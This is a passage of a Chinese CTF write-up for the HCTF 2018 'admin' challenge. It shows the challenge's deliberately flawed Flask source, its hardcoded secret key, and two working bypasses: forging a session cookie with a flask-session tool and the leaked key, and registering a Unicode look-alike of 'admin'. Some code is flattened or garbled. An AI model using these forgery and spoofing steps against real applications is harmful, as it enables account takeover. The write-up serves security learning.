BUUCTF | [HCTF 2018]admin


首先爬一遍整個網站,發現有沒注冊的時候有“login”,"register",這兩個頁面,注冊一個123用戶登錄后發現有 "index“,”post“,”logout“,”change password“這四個界面,根據題目提示的admin,猜測是不是要讓我用admin來登錄這個網站?然后我在login界面輸入用戶名”admin“,密碼”123“(弱口令)結果猝不及防

  喵喵喵???還沒開始就結束了?


正確的打開方式:總的來說就是欺騙服務器,假裝自己是admin

buu限制發包量, 這里我就不嘗試解法3了

解法一:flask session偽造

 在"change password"頁面發現了提示

 

https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 圖片以二進制形式寫入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作為response返回前端,並設置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 將驗證碼字符串儲存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
return username

 

 由於 flask 是非常輕量級的 Web框架 ,其 session 存儲在客戶端中(可以通過HTTP請求頭Cookie字段的session獲取),且僅對 session 進行了簽名,缺少數據防篡改實現,這便很容易存在安全漏洞。假設現在我們有一串 session 值為: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我們可以通過如下代碼對其進行解密:
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
from itsdangerous import * s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY" data,timestamp,secret = s.split('.') print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret) print(base64_decode(data)) print(base64_decode(timestamp)) print(int.from_bytes(base64_decode(timestamp),byteorder='big')) print(int.from_bytes(base64_decode(secret),byteorder='big'))
稍微改動后的代碼py3

int.from_bytes函數 功能:res = int.from_bytes(x)的含義是把bytes類型的變量x,轉化為十進制整數,並存入res中。其中bytes類型是python3特有的類型。 函數參數:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具體介紹。 bytes是輸入的變量; base64_decode(timestamp)=b'\\\r\xda\xe0' signed=True表示需要考慮符號位。 舉例說明:int_s = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',則輸出int_s=-15。 分析一下過程,'\x'表示十六進制數,先把'f1'寫成二進制數:1111 0001,'ff'同上:1111 1111.     #小端法
            由於s的高低位標志是'little',即'f1'是低位,'ff'是高位,所以正確的順序應該是'fff1',即11111111 1111 0001. 又因為要考慮符號位,第一位是1,所以s是負數,要進行取反加一才是正確的十進制數(第一位符號位的1不變),可以得到10000000 00001111,寫成十進制,就是-15,也就是int_s的結果。 上面的例子中,如果signed=False,則無符號位; 若byteorder='big',則輸入s的左邊是高位,右邊是低位。     #大端法
代碼解析
#!/usr/bin/env python3
import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
sessino解密腳本

 這里我用的是python2的環境,kali自帶的py2貌似默認安裝了flask ,而自己安裝py3的flask一直裝不上Orz

 python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc

https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi mport os class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY

session加密用的是GitHub上的一個腳本,我按照官方給的方法裝不上Orz,然后自己git clone了一下,git clone大法好啊

python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html {% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
index.html

解法二:Unicode欺騙

https://unicode-table.com/en/1D2E/ ,在這個網站上找字符。

1.先注冊一個賬號 :ᴬᴰᴹᴵᴺ,密碼:456

 

2.修改密碼:111,然后退出

3.用賬號”admin“,密碼:111成功登錄

 

  大致的思路是:在注冊的時候  ”ᴬᴰᴹᴵᴺ“ 經過strlower(),轉成”ADMIN“ , 在修改密碼的時候 ”ADMIN“經過strlower()變成”admin“ , 當我們再次退出登錄的時候 ”admin“經過strlower()變成”admin“(沒啥卵用,但是你已經知道了一個密碼已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用戶名是’admin‘就可成功登錄了)

 


 參考資料:

HCTF2018-admin三種解法復現:https://blog.csdn.net/weixin_44677409/article/details/100733581

Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0

unicode 欺騙:https://panda1g1.github.io/2018/11/15/HCTF%20admin/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM